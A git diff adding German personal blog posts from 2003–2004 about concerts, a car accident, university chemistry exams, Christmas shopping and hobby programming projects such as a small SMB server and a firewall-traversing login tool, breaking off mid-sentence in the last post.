diff --git a/blog/2003/Metageschwafel.md b/blog/2003/Metageschwafel.md
new file mode 100644
index 0000000..8a4e9a0
--- /dev/null
+++ b/blog/2003/Metageschwafel.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2003/10/22 23:05
3.. title: Metageschwafel
4-->
5
6Heute fang ich zum ersten Mal ein Tagebuch an.
7
8Ich bin eigentlich nicht der Typ dafuer.
9
10Ich nehm mir normal eher [mehr Zeit ](https://erdgeist.org/arts/poetry/) fuer das, was ich so zu erzaehlen hab.
11
12Aber dann... ich werde nicht juenger und der extensive Drogenkonsum setzt meinen Erinnerungen zu. Wenn ich also spaeter mal _irgendwas_ meinen
13Enkeln erzaehlen will, dann sollte ich es schleunigst niederschreiben.
14
15Vielen Dank an den [Filib](https://outpost.h3q.com/ind.ex?Blog), ohne den ick nie geglaubt haette, dass auch Geeks bloggen koennen, ohne,
16dass es allzu peinlich wird.
diff --git a/blog/2003/Rock_und_Roll.md b/blog/2003/Rock_und_Roll.md
new file mode 100644
index 0000000..ab437d8
--- /dev/null
+++ b/blog/2003/Rock_und_Roll.md
@@ -0,0 +1,22 @@
1<!--
2.. date: 2003/10/22 23:18
3.. title: Rock und Roll
4-->
5
6Nachdem der organisatorische Kram erledigt ist, fang ich mal behutsam an, mich mitzuteilen. Wir sollten erst einmal miteinander warm werden und uns kennenlernen.
7
8Ich bin in letzter Zeit Fan der Combo [Muse](http://www.muse.mu/) geworden, die gestern in der [Columbiahalle](http://www.columbiahalle.de/) in Berlin gespielt haben. Genauer gesagt bin ich schon Fan, seit mir, noch beim [Berliner Abendblatt](http://www.berlinonline.de/berliner-abendblatt/.html/index.html) arbeitend, ein Kollege die [Showbiz](http://www.amazon.de/exec/obidos/ASIN/B00002DEOY/qid=1066858269/sr=2-1/ref=sr_aps_prod_1_1/028-0175517-0734945) angeschleppt hat. (Mir faellt mir beim Link ueberpruefen gerade auf, dass besagte Firma nachts Pornowerbung auf ihrer Seite schaltet, deswegen will ich kurz klarstellen, dass das Abendblatt eine einigermassen serioese anzeigenfinanzierte Lokalzeitung ist :)
9
10Ich habe das Glueck gehabt, noch zwei Karten fuer das ausverkaufte Konzert zu ergattern. Und da ich Muse noch als sehr kraftvolle und energische Live-Band [in Erinnerung habe](http://www.roskilde-festival.dk/object.php?obj=17c000c&base=145c2e7e&Letter=alle&code=1), hab ich mich auch sehr drauf gefreut, bis...
11
12[seht selbst](pics/KaputtesAuto.jpg)
13
14Ein luetter [Golf](http://www.volkswagen.de/golf) hat an [der Ampel](http://www.berliner-stadtplan.com/?map=true&style=&zoom=100&gps=5356|6273&strasse=&size=500x400&trackcode=) nicht so richtig aufgepasst und mich mit meinem treuen Auto in den vor mir stehenden [Jaguar](http://www.jaguar.de/) geschoben. Das Resultat war nicht verheerend, aber laeuft wohl auf einen wirtschaftlichen Totalschaden meines Kfz hinaus.
15
16Sehr schade. Haette ich nicht einmal vergessen, vor einem 1000km-Urlaub auf den Oelstand zu schauen, waere das Auto in 3 Jahren Pannenfrei geblieben.
17
18Viel schlimmer in dem Moment war aber, dass die Damen und Herren der [Berliner Polizei](http://www.polizei.berlin.de/) 65 Minuten, fuenfundsechzig _wertvolle_ Minuten, (in denen das Muse-Konzert anlief) gebraucht haben, um dann mit Kippe im Mund sich sichtlich genervt unseres kleinen Malheurs anzunehmen. Und ja. Ob des Nieselregens und des oktobertypisch nicht besonders warmen Wetters war das Warten auf der eher unangenehmen Seite von baeh. So langsam kann ich Teile des Frusts nachvollziehn, die am sich [1. Mai](http://1.mai.so36.net/) auf unsere Freunde und Helfer entladen. Klammheimliche Freude kam dann auch auf, als ein verwirrter alter Mann mit Fahrrad die Polizistin dringend ueberzeugen wollte, dass er aus einem Gefaengnis entlaufen sei und jetzt festgenommen werden muesse. Vielleicht war er einfach nur ob des "aufreizend gebleichten Haars" der jungen Dame naehebeduerftig, jedenfalls wurde bei einer Ueberpruefung des Bestands besagter Besserungsanstalt kein Schwund festgestellt und der gute Mann musste wieder gehen.
19
20Dank unseres gut ausgebauten [Oeffentlichen Personennahverkehrs](http://www.bvg.de) und Hetzerei gewohnter Beine erreichten wir das Konzert noch zur zweiten Haelfte. Der Spielstand war ausgeglichen und ich verbrachte die ersten Minuten auf dem Konzert beim FuerKleineJungsGehn,das nass-kalte Wetter hat sein bestes geleistet.
21
22Das Konzert war, wie erwartet, fett. [Der Bassist](http://musclemuse.com/uk/band/gear/chris.php) ist unglaublich fleissig und kann unglaubliche Melodien unglaublich schnell darbieten. Die riesige Bassanlage wirkte dann noch hundertmal cooler, als von CD. Beeindruckend. Fast schade, dass die Jungs inzwischen Mainstream sind :)
diff --git a/blog/2003/Schwein_gehabt.md b/blog/2003/Schwein_gehabt.md
new file mode 100644
index 0000000..13b1a30
--- /dev/null
+++ b/blog/2003/Schwein_gehabt.md
@@ -0,0 +1,126 @@
1<!--
2.. date: 2003/12/08 05:49
3.. title: Schwein gehabt
4-->
5
6Es gibt nicht viele Situationen, in denen man kaum glaubt, so Zufaelle
7passieren einem doch eigentlich gar nicht. Ich habe die Nacht vom
8Donnerstag zum Freitag ein wenig im [
9offenen Donnerstag](https://berlin.ccc.de/) des CCCB verbracht. Das ist eigentlich ein netter
10Haufen da, da koennte man vielleicht mal oefter vorbeischauen. Als ich
11mich dann kurz vor 0800 Uhr entschloss, aufzubrechen, um eventuell noch
12"zufaellig" juja (die mir lieberweise vor ein paar Wochen die Haare
13geschnitten hat), am Bahnhof Warschauer Strasse zu treffen, um sie um ein
14Frisurenupdate zu bitten, (sie hatte leichtfertig erzaehlt, mit welcher
15S-Bahn sie faehrt :), fand ich diese Art zufaellige Treffen doch ein wenig
16zu dreist und mir kam spontan in den Sinn, die Chemie-Vorlesung, die ich
17leider ein wenig hab schleifen lassen, doch noch zu besuchen. Freitag 8
18bis 10 Uhr ist einfach ein typischer Verschlafskandidat. Als ich dann aber
19den Vorlesungssaal erreicht hatte, fand ich statt der heimlich erhofften
20Streikposten eine pruefungstypische Tafelpraeparation.
21
22Hammer. Durchnaechtigt, uebermuedet, frierend, unvorbereitet und mit
23meinem aktuellen Freizeitprojekt (dazu gleich mehr) im Kopf und ohne
24auch nur dem Hauch von einem Stift setzte ich mich in die letzte Reihe.
25Fehler! Merken: in den letzten Reihen sitzen *immer* die Spacken mit ohne
26Plan. Kann man nicht abschreiben. Zumindest war mein Vordermann so nett,
27mir einen gruenen Buntstift(!?) zu leihen, obwohl er noch ein paar
28Kugelschreiber rumliegen hatte, aber einem geschenkten Gaul... Die Klausur
29an sich war sehr durchwachsen. Am Anfang ein paar primitive 10tklaessler-
30Aufgaben zum Beweis, dass man Molare Massen von Stoffen, Molekuelen und
31die Beziehungen zu den wirklichen Massen und prozentualen Masseanteilen an
32Stoffgemischen bei bestimmten Stoffmengen verstanden hat. Und wie zu
33erwarten war, sassen die Biologen davor, wie die Kuh vorm neuen Tor, mein
34Stifteverleiher schrieb als Masse 3 1/2 ohne Einheit, was zwar bei seiner
35femininen Handschrift ganz keck aussah, aber trotz halbseitiger Herleitung
36nicht den geringsten Hinweis hinterlies, dass er verstuende, was er da
37treibt. Der rechte Vordermann hatte ein zu massives Kreuz, um auf seinem
38Blatt irgendwas zu erkennen, zum Glueck nestelte ein paar Meter rechts von
39mir eine prototypische Blondine mit ihrem Aufgabenzettel, so dass man die
40in spaeteren Aufgaben geforderten skizzierten Graphenverlaeufe erkennen
41konnte. Und siehe da: auswendig lernen klappt bei diesem Typ Mensch
42scheinbar. Das war genau die selbe Kurve, die in einer der beiden
43Vorlesungen, bei denen ich zugegen war, an die Wand geworfen wurde. Der
44Kamerad vor mir ignorierte dann auch noch stetig meine Versuche, ihm fuer
45die erste Aufgabe das Ergebnis (100g) zuzufluestern. Aber dann: gab ja
46schliesslich nur einen Buntstift :) Am Dienstag gibts die Ergebnisse und
47Einteilung in Praktikumsgruppen. Ich hoffe _instaendig_, dass ich nicht
48wieder eine ... Schnalle ... abbekomme, wie beim letzten Mal. Ein paar
49Eintraege weiter unten habe ich sie, glaub ich, schonmal erwaehnt. Die
50beiden Praktikumswochen hatten mich auf eine noch nie dagewesene Art und
51Weise zum Kochen gebracht, dass ich mich beim Abreagieren leicht verletzt
52hab. Das Ende des Praktikums wurde damals mit einem Hirn-Weg-Besaeufnis
53besiegelt, im Rahmen dessen ich Andrea ganz furchtbar auf den Fuss
54gesprungen bin (woran ich mich dann leider nicht mehr erinnern konnte und
55was mir auch ehrlich und aufrichtig leid tut). Details meiner Tortur
56werde ich dann vielleicht im Rahmen des jetzt auf mich zukommenden
57Praktikums berichten.
58
59In der vorletzten Woche hat auch endlich das Weggehen mit dem Philipp
60geklappt. War ziemlich nett. Hab ich vor lauter Kommerz vergessen, zu
61erwaehnen. Vor allem, weil sich darum noch eine lustige Geschichte rankt.
62Dass ich in der mbar unschoenes Essen bekommen hab, schrieb ich bereits.
63Bei dem Metroeinkauf mit Mama am Tag danach habe ich fuer meinen
64Kuechenschrank eine Spruehdose erstanden. Eigentlich wollte ich nur kurz
65schauen, ob das Blau auch wirklich deckt, aber wo ich schon einmal dabei
66war, habe ich die ganze Flasche in dem unbeluefteten Raum auf dem Schrank
67entleert. Hat zwar wirklich gut gedeckt, aber leider nicht gereicht. Zudem
68haben die Loesemittel trieslig in der Birne gemacht. In diesem Zustand
69also, noch mit halbuebel von dem verdorbenen mbar-Fruehstueck und
70bedroehnt von der chemischen Keule, habe ich mich mit Philipp getroffen
71und war nach dem dritten Hefe gar nicht mehr zu gebrauchen. Das Essen in
72der Tempobox (leider keinen Link zu gefunden, aber ist Simon-Dach-Strasse/
73Kopernikusstrasse) war richtig lecker, die Bedienung zuvorkommend
74(vielleicht auch nur, weil Steffi eine alte Kollegin von Andrea ist :) und
75vor allem kann man dort im Sommer auch nach 22 Uhr noch draussen sitzen.
76Doch genug der Werbung. Ich stellte dann beim Naseschneutzen fest, dass
77meine Popel blau sind, genau, wie der Rest meines Naseninnerens und, wie
78sich spaeter rausstellte, auch die Haelfter der Oberflaechen in der
79Kueche. Mal wieder eine intellektuelle Glanzleistung. Der naechste Morgen
80war dann toedlich und fuehrte zur mehrmaligen innigen Begegnung mit meiner
81Kloschuessel. Die dabei aufkommende Erkaeltung tat dann ihr Uebriges.
82
83Aber genug davon. In Zwischenzeit habe ich mir ein nettes neues Projekt
84gesucht. (Vorsicht, jetzt wirds nerdig.) Der Small-Scale-Webserver
85"gatling" ([hier](http://bulk.fefe.de/scalability/) zu gucken)
86von [Fefe](http://www.fefe.de/) wurde juengst um die
87Faehigkeit, FTP im public-only mode zu sprechen, erweitert. Dies brachte
88uns auf die Idee, NFS und Samba dazuzupacken, und einen wirklich kleinen
89Lan-Party-"ich feuere meine Files aus allen Rohren"-Server zu basteln. Die
90[Spezifikation](http://www.snia.org/tech_activities/CIFS/) (das
91pdf in dem Verzeichnis) sah im Minimal-Commandset gar nicht so schlimm
92aus. Und ich wunderte mich schon, warum das Samba-Projekt so furchtbar
93aufgeblasen ist. Als ich aber die ersten Message-Typen implementiert habe
94und endlich mit der Windowskiste reden wollte, wurde der von mir
95angebotene Minimaldialekt einfach zurueckgewiesen. "Wenn du nicht den
96allerneuesten all-features-on-dialect sprichst, rede ich nicht mit dir,
97verbindung zu". Fairerweise muss man dazusagen, dass der Windowsexplorer
98dann wenigstens auch zugemacht hat. Die SMB-Implementation fuer MacOSX
99ignoriert den von mir ausgesuchten Dialekt schlicht und schickt mir
100einfach froehlich Messages aus den nicht bekannten Dialekten. Nettes
101Stueck Software, das. Nachdem ich das gesamte Framework umorganisiert
102hatte, um die neuen Messagetypes, die um einiges komplexer sind, als die
103aus dem Basic-SMB-Dialekt, abzubilden, konnte ich wenigstens die
104grundlegenden Nachrichten zum Etablieren der Verbindung austauschen. Zu
105meiner grossen Freude wollte aber der Explorer auch von den hingehaltenen
106Shares nichts wissen. Nein! Erstmal wird eine Pipe aufgemacht, durch die
107ein [obskures
108RPC-protokoll](http://us3.samba.org/samba/ftp/specs/cifsrap2.txt) gefahren wird. Das ist so lecker, dass es seine
109Parameter in Formatstrings beschreibt, die auch verschachtelte Datentypen
110abbilden koennen. Laedt also foermlich ein, Bufferoverflows da
111reinzubauen. Und alles nur, um sich ein wenig Information ueber meine
112exportierte Share abzuholen. Eigentlich unnoetig. Das SMB-Protokoll haelt
113genug Requests fuer diese Zwecke bereit. Aber noe. "Wem ich aufzwinge, zu
114behaupten, er wuerde LM1.02 sprechen, der muss auch das ganze featureset
115koennen, sonst red' ich nicht mit ihm". Da die Herangehensweise bisher
116war, vorgefertigte Speicherbloecke als Antwort zu schicken, egal, was
117genau in den Anfragen stand, werde ich versuchen, Pakete
118vor-zusammenzustueckeln, die den Client zufriedenstellen. Aber erst, wenn
119die Frustration ueber den auf mich zukommenden Arbeitsaufwand nachgelassen
120hat. Nudossi (so heisst der Serverprototyp, weil das mal viel leckerer als
121Samba ist :) findet man hier: "$ cvs -d:pserver:anonymous@cvs.erdgeist.org:/home/cvsroot/ co nudossi".
122
123Dass, entgegen der letzten Eintragung, das Umformatieren des iPods doch
124nicht so "flauschig" abgelaufen ist, wird wohl erst in einer der naechsten
125Eintragungen Erwaehnung finden. Ich will Uebereifrige aber schon jetzt mal
126warnen.
diff --git a/blog/2003/Shoppen__Essen_und_Studieren.md b/blog/2003/Shoppen__Essen_und_Studieren.md
new file mode 100644
index 0000000..8e61bf8
--- /dev/null
+++ b/blog/2003/Shoppen__Essen_und_Studieren.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2003/12/19 14:18
3.. title: Shoppen Essen und Studieren
4-->
5
6Ich habe es mir angetan: einen Nachmittag als Teil der Kaufviehherden, welche von religioesen Fanatisten und sich religioes gebenden kapitalistischen Fanatisten durch peinlich pathetische Glitzerwelten getrieben werden, um den Ladeninhabern, die das mit dem Kapitalismus wohl noch nicht so ganz verstanden haben, ihre Waren fast zum Einkaufspreis abzunehmen. So richtig verstehe ich das nicht, warum man Rabattaktionen gerade zum Weihnachtsgeschaeft anstoesst, ist aber auch nicht mein Problem. Das wirkliche Problem ist der soziale Druck, der erzeugt wird, jemandem etwas schenken zu muessen, um vor sich selbst nicht verantworten zu muessen, jemandem nichts geschenkt zu haben, weshalb er sich schlecht fuehlen wuerde. Puuuh. Meine Eltern verstehen das nicht. Ich bekomme dann zu hoeren, dass "wir uns gedacht haben, unseren Sohn so erzogen zu haben, dass..." Ja. Man. In unserem christlichen Kulturkreis ist es ja ueblich, dass man des Fests der Liebe gedenkt und sich zeigt, dass man aneinander denkt, wenigstens einmal im Jahr. Von bekennenden Atheisten. Aber halt wohl doch konditioniert. Ich komme lieber aller Wochen bei meinen Eltern vorbei und tue Dinge, die ich kann. [Rechner pflegen](https://erdgeist.org/arts/poetry/index-baecker.html), Kabel verlegen, Opis und Omis bespassen. Kreative Geschenke fuer Leute ausdenken gehoert deutlich _nicht_ zu meinen Kernkompetenzen. Und Computer pflegen waere nur alle Weihnachten zu kritisch und gerade AN Weihnachten deplaciert. Also wohl doch irgendeinen unnoetigen Betrag fuer ein nutzloses Geschenk ausgeben, das ich dann auch noch durch die Stadt schleppen muss.
7
8Aber da nicht alle meiner Zeitgenossen so denken, haenge ich mich traditionell jaehrlich an den Rockzipfel von [Constanze](https://www.informatik.hu-berlin.de/~kurz/ich.html) und begleite sie beim Stoebern durch die bunte Warenwelt. Die Suche nach einem ATM der Firma >WelcheBankIstNichtSoWichtig< fuehrte uns an "Grilletta" vorbei. Merkwuerdiger Laden, in dem es aber immer lecker Hausmannskost gibt. Ich kann die Rindsroulade mit Rotkohl dort sehr empfehlen. Benannt ist das Lokal uebrigens nach [Grilletta](http://www.mdr.de/doku/895940.html), der DDR-Version des Hamburgers. Die gibt es dort naemlich noch wirklich zu kaufen. Nach Originalrezept. Merkwuerdig ist dort nur, dass der derzeitige Betreiber aus dem nahen oder mittleren Osten stammt, und neben der leckeren Hausmannskost und den Grillettas auch noch Doener und Pizza verkauft, die man dann neben Getraenkekuehlschrank und Geldspielautomaten im Beisein von, sagen wir mal hoeflich, Kiezoriginalen zu sich nehmen kann.
9
10Der Einkaufs"bummel", der dann, vom Essen noch traege, sich auf das systematische Abklappern aller Etagen des Einkaufszentrums [Allee Arkaden](http://www.schoenhauser-allee-arkaden.de/) beschraenkte, verlief, wie befuerchtet, stressig. Die Post, wo wir "nur schnell ein paar ebay-Pakete" hinbringen wollten, war knueppeldicke voll, in den "stilvoll wohnen" Laeden gab es nur stillosen Scheiss, die Parfumgeschaefte stanken selbst noch ueber den Schweissgeruch der vom Einkaufsstress schnaufenden Shopper. In den Spielzeuglaeden gibt es unsaegliche Dinge, bei denen ich mich frage, wie man soetwas seinem Kind antuen wollen wuerde (obwohl der kleine grosse Kuschelmaulwurf ... -- EINSCHUB: Auf der Suche im Web nach dem grossen Kuschelmaulwurf musste ich mit Entsetzen das hier finden: [Digger II - ein Maulwurf zum Verlieben](http://www.baumwollseil.de/shop/k008u002s001.htm) ihr muesst ein wenig scrollen, da es dort keine Anchors gibt /EINSCHUB -- ... den ich leider im Netz nicht gefunden hab, das ist so ein 1 Meter grosser Plueschmaulwurf... ach auch nicht so wichtig, zumindest koennte man den glatt noch einem Kind antuen). Im Heimwerkerladen habe ich mir dann Goldspruehdosenfarbe gekauft. Das ist die Farbe, mit der die Leute, die der Meinung sind, man muesse vor Weihnachten unbedingt die Strassen mit epilleptikergefaehrdendem Blitzgewitter zu bestrahlen, Tannenzapfen, Ananaesse und Engel bespruehen, damit sie dem Schwippbogen mit der billigen weissen Lackierung noch den feierlichen Touch geben. Mit dem habe ich fuer die [kiffer.de Leute](http://www.kiffer.de) erst einmal eine in Drogenzigarettenform gebauten Papers-Konstruktion vergoldet. Mal sehen, ob sie es moegen. Spaeter will ich noch das alte Telefon von Oma, dass bis vor kurzen noch meinen Schreibtisch als Arbeitsplatzapparat zierte, vergolden und eventuell reparieren. Dass ich dann wirklich doch noch ein Geschenk gefunden habe, kann ich ja schon verraten, aber was und fuer wen, vielleicht besser erst nach Weihnachten.
11
12Beim Nachdenken ueber den Maulwurf habe ich mich mal endlich wieder bei meiner damaligen[1] Freundin gemeldet (der ich das [Plueschtier](pics/Maulhurpf.jpg) [1]damals geschenkt habe) und sie hat prompt die Digitalkamera rausgeholt, um zu beweisen, dass es ihm noch gut geht. Ich werde sie Dienstag mal besuchen gehen und ihre legendaeren Weihnachtsplaetzchen wegfuttern :) (Warum sie die immer nur zu Weihnachten macht, ist mir ein Raetsel)
13
14Um auf das Shopping zurueckzukommen: ich konnte zumindest stolz behaupten, den Weihnachtseinkaufsstress besser verkraftet zu haben, als Frollein Conz, die dann bettelte, sich endlich in ein Cafe zum Beine ausruhen setzen zu duerfen. Ach ja: sie hat kein einziges Geschenk gefunden.
15
16Heute morgen habe ich die besagte Chemieklausur wiederbekommen.. aber davon berichte ich gesondert.
diff --git a/blog/2003/Spontanes_Gehacke.md b/blog/2003/Spontanes_Gehacke.md
new file mode 100644
index 0000000..f235946
--- /dev/null
+++ b/blog/2003/Spontanes_Gehacke.md
@@ -0,0 +1,23 @@
1<!--
2.. date: 2003/12/13 13:47
3.. title: Spontanes Gehacke
4-->
5
6Nachdem sich Filib in seinem Blog mal wieder dezent ueber mangelnden ipv6
7support im vchat-client echauffiert hat, hat es mir endgueltig gereicht.
8
9So schwer kann das doch nicht sein, hab ich mir gedacht. Und richtig. Wer
10sich die aktuelle Version auscheckt, und als make-Option
11EXPERIMENTAL_IPV6=-DEXPERIMENTAL_IPV6 angibt, kann v6 alpha-testen. Und
12wer noch einen Mac mit Developer Tools hat, kann mir gerne ein binary fuer
13MacOSX schicken. *hint*hint* - Um an dieser Stelle ueber MacOSX
14herzuziehen: da die readline und die ncurses Version (zumindest in der
1510.2.x) furchtbar stanken, musste ich beim letzten Mal die libs von Hand
16aus dem CVS compilen und statisch linken, um den armen Mac-Usern das
17Schlimmste zu ersparen. Auch, wenn 10.3.x nettere Versionen von den Libs
18bereithalten sollte, muss man fuer pre-Panther-Aepfler trotzdem den
19statisch compileten
20[
21Riesenbinaerbloebb](http://erdgeist.org/arts/software/Code/vchat-client-macosx.tgz) vorhalten (Zur Zeit noch ohne v6, da die
22neueste Version noch nicht compiled ist.) Den neuesten Source-Tarball gibt
23es, wie immer [hier](http://erdgeist.org/arts/software/Code/vchat-client.tgz).
diff --git a/blog/2003/Spontanes_Gehacke_II.md b/blog/2003/Spontanes_Gehacke_II.md
new file mode 100644
index 0000000..63e8429
--- /dev/null
+++ b/blog/2003/Spontanes_Gehacke_II.md
@@ -0,0 +1,51 @@
1<!--
2.. date: 2003/12/16 06:42
3.. title: Spontanes Gehacke II
4-->
5
6Als am Sonntag Starbug sein neues Domizil in Wedding mit den Moebeln aus
7seiner alten Wohnung bestueckt hat, gemeinhin auch als Umzug bekannt,
8habe ich seinen Bruder, meinen alten Studienkollegen kstar,
9wiedergetroffen. Ungewoehnlicher Mensch mit vielen Flausen und dutzenden
10cooler Ideen im Kopf. Weil ich neulich ein kleines Problem mit shell
11push hatte, habe ich ihm davon erzaehlt. Und keine 2 Tage spaeter faellt
12mir ein tarball aus der mailbox, in dem mein kleines Problem fast fertig
13implementiert daliegt.
14
15Es ging im Groben darum, dass ich auf einem unixoiden Host hinter einer
16Firewall (ohne Zugriff auf diese) jemandem kurz einen login auf dem
17Rechner geben wollte. Das funktioniert aber nach den althergebrachten
18Mustern von telnet, rlogin, ssh etc. nicht, dort ist es ueblich, dass der
19_Server_ das pty alloziert und dem Client, nachdem er sich authentifiziert
20hat, das tty weitergibt. Was ich brauchte ist, dass ein Server auf
21Connections von einem Client wartet, der ihm dann ein pty gibt. Zugegeben,
22kein alltaegliches Problem, aber es begegnete mir schon ein paar Mal.
23Nachteil ist natuerlich, dass jemand an dem Rechner sitzen muss (aber
24eigentlich kamman das auch aus ner while true; ... sleep 10; end Schleife
25machen und bei Bedarf den Server starten) andererseits will man so eine
26Shell ohne wirklich Authentifizierung (siehe unten) nicht ohne sein
27Beisein vergeben. Die Loesung von kstar lief leider nicht sofort auf
28FreeBSD, dort gibt es statt getpt() nur posix_openpt(O_RDWR) und man muss
29getaddrinfo() im hints noch den ai_socktype auf SOCK_STREAM setzen. Zudem
30gibt es grantpt, unlockpt und ptsname erst seit FreeBSD 5.0, aber jetzt
31laeuft es. Es gibt sogar eine rudimentaere "Verschluesselung", die darin
32besteht, dass man Client und Server den selben Sessionkey geben muss, mit
33der der Stream ge-xor-t wird.
34
35Nichts fuer Cryptoexperten, aber bis ich da ssl reingeschraubt habe,
36reichts. Wer ein aehnliches Problem hat, kann ja mal selber [compilen](https://erdgeist.org/arts/software/Code/through-firewall.tgz).
37
38Hach, ich liebe nerdige Blogeintraege. Dass die sich jetzt haeufen,
39hat einen Grund: Andrea ist in Skiurlaub gefahren. Bleibt massig Zeit zum
40Rumnerden, ohne, dass man zu Sozialstress ermahnt wird. Eigentlich bin ich
41ja ein wenig neidisch. Ich will auch Skifahrn, aber es liegt grad viel zu
42viel Arbeit rum und dann ist da noch dieses Fundamentalistenfest und
43danach der [Congress](https://www.ccc.de/congress/2003/) des [Chaos Computer Clubs](https://www.ccc.de/), den ich mir dieses
44Jahr vielleicht mal anschauen werde. Bis dahin habe ich noch eine feiste
45TODO-Liste abzuarbeiten: morgen hat Opi Geburtstag, am Samstag zieht Cryx
46um (aus einer 5. Etage in eine 4. Etage, der Spinner :), ich will den SMB
47noch fertig hacken, meinen Telefonbuchsubstringindizierer und den Treiber
48fuer die PCMCIA-Firewire-Karte zurechthacken, die leider nicht out of the
49box funktioniert.
50Und noch ein wenig selbstinduzierter Sozialstress
51(...).
diff --git a/blog/2003/Unter_Schafen.md b/blog/2003/Unter_Schafen.md
new file mode 100644
index 0000000..163292a
--- /dev/null
+++ b/blog/2003/Unter_Schafen.md
@@ -0,0 +1,18 @@
1<!--
2.. date: 2003/10/24 11:38
3.. title: Unter Schafen
4-->
5
6Eben habe ich mich unter die Erstis gemischt. Toll. Lauter kleine, frische Biologie-Studierer. Frisch vom Gymnasium. In ihrer ersten Chemievorlesung.
7Nachdem ich das letzte Semester bei den Zweitis den Fehler gemacht habe, mir erst kurz vor dem Praktikum einen Uebungsgruppenpartner auszusuchen und
8dann mit der jungen Dame furchtbar auf die Gusche gefallen bin (vielleicht schreib ich darueber noch nen Absatz, Gedicht oder Hass-und-Schreisong),
9wollte ich diesmal schon waehrend des Semesters soziale Kontakte knuepfen, um die Leute besser einschaetzen zu koennen. Irgendwie ergibt sich das
10aber leider nicht. Diese ganzen Hefterausholer-und-jedes-wort-mitschreiber verursachen mir immer so ein unangenehmes Jucken auf der Milz und die
11beiden Frutten, die als einziges gelangweilt da sassen und wohl zum Ende des Semesters durch die Pruefung fallen werden, luden auch nicht besonders
12dazu ein, sich _unbedingt_ mit ihnen unterhalten zu wollen. Wenn sich nicht bis zum Ende des Semesters noch irgendjemand von denen besonders hervortut,
13werde ich wohl wieder nehmen muessen, was kommt.
14
15Das [ehemalige Chemieinstitut](http://www.hu-berlin.de/hu/lage/mitte/planf.html) (bzw. [hier Haus 3161](http://www.hu-berlin.de/hu/lage/mitte/hahes.html)) sieht aber mittlerweile abgefahren aus. Ausser dem
16Vorlesungssaal und zwei oder drei kleineren Laboren ist alles leer. Tags ueber kommt man leicht rein und kann hier und da noch ein paar Schaetze
17entdecken. Riesige Labore, die inzwischen zum Teil abgerissen sind, verwirrende, zu Paintball einladende, Labyrinthe und kleine verknoecherte
18Dortgebliebene, die die restlichen Schaetze bewachen sollen. Ich werde da nochmal mit Kamera vorbei gehen.
diff --git a/blog/2003/iPod_da.md b/blog/2003/iPod_da.md
new file mode 100644
index 0000000..320bca9
--- /dev/null
+++ b/blog/2003/iPod_da.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2003/12/02 12:36
3.. title: iPod da
4-->
5
6Schnell noch eine Firewirekarte dazu erstanden und entgegen der
7schlimmsten Befuerchtungen spielts einfach so unter FreeBSD. Als
8SCSI Platte formatiert, gemountet und natuerlich die gesammelte
9Nirvana-Kollektion (laut Spiegel Online - die verlinke ich jetzt
10aber nicht, weil das eh Bezahlcontent wird - soll man mit Bindestrichen
11nicht so um sich werfen. Regel ist: bei Wortzusammensetzungen, die
12noch nicht in den allgemeinen Sprachgebrauch maeandert sind, soll man
13zur leichteren Lesbarkeit welche einfuegen, sonst verkneifen)
14draufkopiert. Die 40GB iPods haben keine echten beweglichen Teile mehr,
15das Dreh"rad" besteht nur noch aus Induktionssensoren, die mitbekommen,
16wohin man den Finger bewegt. Schoenes Device.
diff --git a/blog/2004/Aufholjagd.md b/blog/2004/Aufholjagd.md
new file mode 100644
index 0000000..460a151
--- /dev/null
+++ b/blog/2004/Aufholjagd.md
@@ -0,0 +1,22 @@
1<!--
2.. date: 2004/12/07 02:40
3.. title: Aufholjagd
4-->
5
6Aus dem Kino heute abend wurde leider nix, weil besagter Film heute nicht in der Naehe laeuft.
7Stattdessen gab es [Herr Lehmann](http://www.becks.de/) im [heimelichen
8Heimkino](http://www.internetschriftsteller.de/autoren-forum-02/schriftsteller/edgar-allan-poe/dore/dore-praesentation/london-02.jpg). Davor gabs noch [diesen Film
9hier](http://www.labutaca.net/films/24/yorobot.htm) (man achte auf die feine Ironie im [Filmcover](pics/yor.jpg)). Trotz einiger
10[peinlich-beruehrt-weggucke-Szenen](http://www.thesunmachine.net/image_archive/archive/feb03/hasselhoff.jpg),
11die sich wohl in Filmen mit Will nich vermeiden lassen ist der Film sehenswert.
12
13Aber zurueck zu "Herr Lehmann". (Ich oute mich hier mal als Fan von [Sven Regner](http://www.element-of-crime.de) und seiner Band.) Aber aus einem mir nicht
14erfindlichen Grund kommt bei jedem, mit dem ich darueber spreche, Frank Lehmann viel zu gut
15weg.
16
17Ich weiss nicht, ob es am [Ulmen](http://www.christian-ulmen.de/) liegt, der dieses
18[dumpfe
19Gefuehl](http://www.netdoktor.de/laborwerte/fakten/elektrolyte/elektrolyte.htm) nach einer [Nacht Kreuzberg](http://lyrics.net.ua/song/24024) grandios in
20Bilder umsetzen konnte. Aber wenn Katrin ihn [in der Doeneria](http://www.herr-lehmann.de/film_zitate4.html) dumpt, dann haelt sich
21mein Mitleid mit ihm in Grenzen, nachdem er Karl und [sie so ... hingenommen](http://www.herr-lehmann.de/film_zitate3.html) hat. So, das
22musste mal raus.
diff --git a/blog/2004/Babelfish.md b/blog/2004/Babelfish.md
new file mode 100644
index 0000000..897deaf
--- /dev/null
+++ b/blog/2004/Babelfish.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2004/09/25 14:54
3.. title: Babelfish
4-->
5
6Fuer alle, die noch kein richtig gutes Online-Woerterbuch fuer die
7aussergewoehnliche Sprache ihrer Wahl gefunden haben: ich habe gestern.
8Man bemuehe einfach images.google.com mit dem zu uebersetzenden Wort und
9bekommt _sehr_ assoziationsreiche bildliche Uebersetzungen. Auch und
10gerade mit umgangssprachlichen Woertern. [Seht selbst](http://images.google.com/images?q=caluski)
diff --git a/blog/2004/Begegnungen.md b/blog/2004/Begegnungen.md
new file mode 100644
index 0000000..c8ad4df
--- /dev/null
+++ b/blog/2004/Begegnungen.md
@@ -0,0 +1,40 @@
1<!--
2.. date: 2004/02/12 02:32
3.. title: Begegnungen
4-->
5
6Mein neues Moped hat mir in letzter Zeit viele tolle Begegnungen beschert:
71.) wollten natuerlich alle mal
8(da)mit( )fahren. Der [Cryx](https://outpost.h3q.com/ind.ex?blog), reihenweise Maedchen ;) ehrm zumindest
9ein paar und und und...
102.) mit dem Boden der Kreuzung Danziger/Prenzlauer. Ja, es hat geschneit, ja, es war unglaublich
11glatt und ja, ich hab mir wehgetan. Und das alles auf dem Weg nach hause, um Fraeulein Tina ein wenig auf der
